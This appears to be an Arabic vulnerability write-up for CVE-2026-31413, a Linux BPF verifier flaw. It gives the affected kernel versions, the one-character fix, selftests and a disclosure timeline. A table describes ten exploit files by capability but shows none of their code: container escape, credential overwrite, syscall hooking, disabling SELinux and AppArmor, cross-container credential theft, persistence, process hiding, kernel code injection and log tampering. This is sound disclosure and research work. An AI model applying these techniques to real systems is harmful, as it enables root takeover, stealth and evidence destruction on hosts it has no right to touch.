الحاويات النظامية التي تشارك نواة المضيف (على عكس الأجهزة الافتراضية) معرضة بالكامل. اختراق النواة المشتركة = اختراق المضيف + كل حاوية أخرى عليه. هذا يختلف عن Docker/containerd حيث تهرب إلى مضيف قد يكون هو نفسه جهازًا افتراضيًا.
### ما لا يهرب منه
هذا خطأ في نواة الضيف، وليس هروبًا من المشرف الافتراضي. إذا قمت بتشغيل الاستغلال داخل مثيل EC2، تحصل على جذر على هذا المثيل - لا تهرب من مشرف Nitro إلى المضيف المادي أو المستأجرين الآخرين. نفس الشيء بالنسبة لـ GCE، وأجهزة Azure الافتراضية، و KVM، إلخ. يبقى الحدود المادية سليمة.
### النوى المتأثرة
| الفرع | المتأثر | ثابت |
|--------|----------|-------|
| 6.12.y (LTS) | `dea9989a3f` through 6.12.79 | 6.12.80+ |
| 6.18.y | `4c122e8ae149` through 6.18.20 | 6.18.21+ |
| 6.19.y | `e52567173ba8` through 6.19.10 | 6.19.11+ |
| mainline | 7.0-rc1 through 7.0-rc4 | 7.0-rc5+ |
الالتزام الذي قدم الثغرة: `bffacdb80b93` ("bpf: Recognize special arithmetic shift in the verifier")
الالتزام الذي أصلحها: `c845894ebd6f`
`CAP_BPF` ليست صلاحية آمنة. خطأ في المدقق يحولها إلى قراءة/كتابة عشوائية في النواة. يجب على المنتجات التي تمنحها لقرون العمل أن تعاملها كـ `CAP_SYS_ADMIN`.
---
## الإصلاح
حرف واحد:```diff
- branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
+ branch = push_stack(env, env->insn_idx, env->insn_idx, false);
بدلاً من دفع الفرع إلى insn_idx + 1 (تخطي تعليمة ALU)،
ادفع إلى insn_idx - التعليمة نفسها. المسار المدفوع يعيد تنفيذ
عملية ALU مع dst = 0:
0 & K = 0 ✓0 | K = K ✓النهج الأصلي كان ذكياً - تخطي التعليمة وتثبيت النتيجة،
مما يوفر خطوة مدقق واحدة على المسار المدفوع. لكن هذا التحسين يعمل فقط
عندما تكون نتيجة تنفيذ التعليمة مع dst = 0 هي صفر. هذا
صحيح بالنسبة لـ AND وخاطئ بالنسبة لـ OR. الإصلاح يتخلى عن التحسين: فقط قم بتشغيل
التعليمة مرة أخرى ودع المدقق يحسب القيمة الصحيحة لأي كود عملية.
مررت بثلاث مراجعات للتصحيح:
opcode إلى maybe_fork_scalars() وقمت بتعيين
dst = K لـ OR، dst = 0 لـ AND على المسار المدفوع. عمل لكنه أضاف
تعقيداً.insn_idx بدلاً من insn_idx + 1. أبسط، مستقل عن كود العملية، يزيل
فئة الأخطاء الكاملة الخاصة بالتخطي مقابل التنفيذ.تم الدمج كـ c845894ebd6f في 22 مارس بواسطة Alexei Starovoitov. Selftests في
0ad1734cc559. تمت المراجعة بواسطة Eduard Zingerman، وتمت الموافقة عليها بواسطة Amery Hung.
تغطي selftests ثلاث حالات:
or_scalar_fork_rejects_oob - ARSH 63 + OR 8، value_size=8، الوصول عند
الإزاحة 8 هو خارج النطاق → يجب الرفضand_scalar_fork_still_works - اختبار تراجع، مسار AND لا يزال يقبلor_scalar_fork_allows_inbounds - OR 4، value_size=8، الإزاحة 4 داخل النطاق
→ يجب القبولدمج Linus d5273fd3ca0b ("Merge tag 'bpf-fixes'") مع الملاحظة: "Fix
unsound scalar fork for OR instructions (Daniel Wade)".
c845894ebd6f ("bpf: Fix unsound scalar forking in maybe_fork_scalars() for BPF_OR")0ad1734cc559 ("selftests/bpf: Add tests for maybe_fork_scalars() OR vs AND handling")bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier")إخلاء مسؤولية: يتم نشر كود الاستغلال هذا لأغراض تعليمية وبحثية دفاعية بعد الإفصاح المسؤول ودمج التصحيح. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن سوء الاستخدام.
CVE-2026-31413 - تم إصلاحه في Linux 7.0-rc5. المتأثر: 6.12.75+ (إعادة تصحيح ثابت) حتى 7.0-rc4.
Daniel Wade - GitHub · Twitter/X · Bluesky · Mastodon · Medium · nadsec.online
| المستوى | الملف | الإمكانية |
|---|
| 1 | exploit.c / exploit_gke.c | الهروب من الحاوية - اختطاف الجدول الافتراضي (vtable hijack) + استبدال modprobe_path (الاستغلال الأساسي الموصوف أعلاه) |
| v2 | exploit_gke_v2.c | استبدال بيانات الاعتماد عبر البيانات فقط - بدون اختطاف الجدول الافتراضي، بدون modprobe_path، بدون تفاعل مع نظام الملفات. يكتشف تلقائياً تخطيط task_struct. نافذة إتلاف خريطة صفرية. الاستغلال الموصى به. |
| 2 | tier2_cred_overwrite.c | استبدال مباشر لبيانات الاعتماد - التجول في سلسلة task_struct، العثور على المهمة الحالية، تصفير uid/gid/caps في struct cred للحصول على صلاحية الجذر الفورية |
| 3 | tier3_syscall_hook.c | ربط جدول استدعاءات النظام (syscall table) - التجول في جداول الصفحات لجعل جدول استدعاءات النظام قابلاً للكتابة، استبدال معالج، استدعاؤه من مساحة المستخدم، ثم الاستعادة |
| 4 | tier4_security_disable.c | تعطيل أنظمة الأمان - تعطيل SELinux، AppArmor، SMEP/SMAP/KPTI، dmesg_restrict، kptr_restrict؛ التحقق عبر /proc |
| 5 | tier5_cross_container.c | سرقة بيانات الاعتماد عبر الحاويات - تعداد هياكل nsproxy، العثور على task_struct لمعرف PID مستهدف في مساحة اسم أخرى، تعديل بيانات اعتماده |
| 6 | tier6_persistence.c | استمرارية تُفعّل بواسطة النواة - استبدال modprobe_path و core_pattern لتنفيذ حمولات المهاجم عند أخطاء تنسيق الثنائيات والانهيارات |
| 7 | tier7_hardware.c | استقصاء على مستوى العتاد - تفريغ IDT، قراءة/فك تشفير CR0/CR4، التجول في جداول الصفحات بمصفوفة صلاحيات كاملة، استرداد قاعدة KASLR |
| 8 | tier8_dkom_cloak.c | إخفاء العمليات عبر DKOM - استنساخ عملية فرعية، العثور على task_struct الخاص بها، فصله عن قائمة المهام في النواة (غير مرئي لـ ps/مكررات المهام)، إعادة الربط |
| 9 | tier9_code_inject.c | حقن كود حي في النواة - تصحيح PMD للنص (.text) ليصبح قابلاً للكتابة، استبدال ديباجة sys_getuid بكود شيل ( mov rax, 0x1337; ret )، الاستدعاء من مساحة المستخدم، الاستعادة |
| 10 | tier10_anti_forensics.c | مكافحة الطب الشرعي - تفريغ محتويات حلقة طباعة النواة (printk ring buffer) الداخلية، التلاعب بمتغيرات الطب الشرعي (ftrace, audit, dmesg_restrict, kptr_restrict)، قراءة/كتابة نص مخزن سجل النواة |
| التاريخ | الحدث |
|---|
| 2026-01-14 | bffacdb80b93 يقدم maybe_fork_scalars() في 7.0-rc1 |
| 2026-03-04 | تمت إعادة تصحيح الخطأ إلى 6.12.y المستقر كـ dea9989a3f |
| 2026-03-11 | عثرت على الخطأ أثناء تدقيق المدقق |
| 2026-03-12 | تم تأكيد قراءة/كتابة خارج النطاق، الاستغلال يعمل |
| 2026-03-13 | اكتمل إثبات الهروب من الحاوية، تم تسجيل فيديو |
| 2026-03-14 | إرسال التصحيح v3 إلى [email protected] |
| 2026-03-22 | تم دمج الإصلاح بواسطة Alexei Starovoitov في bpf/bpf.git |
| 2026-04-06 | دمج Linus لعلامة bpf-fixes في mainline |
| 2026-04-12 | تعيين CVE-2026-31413 بواسطة Greg Kroah-Hartman |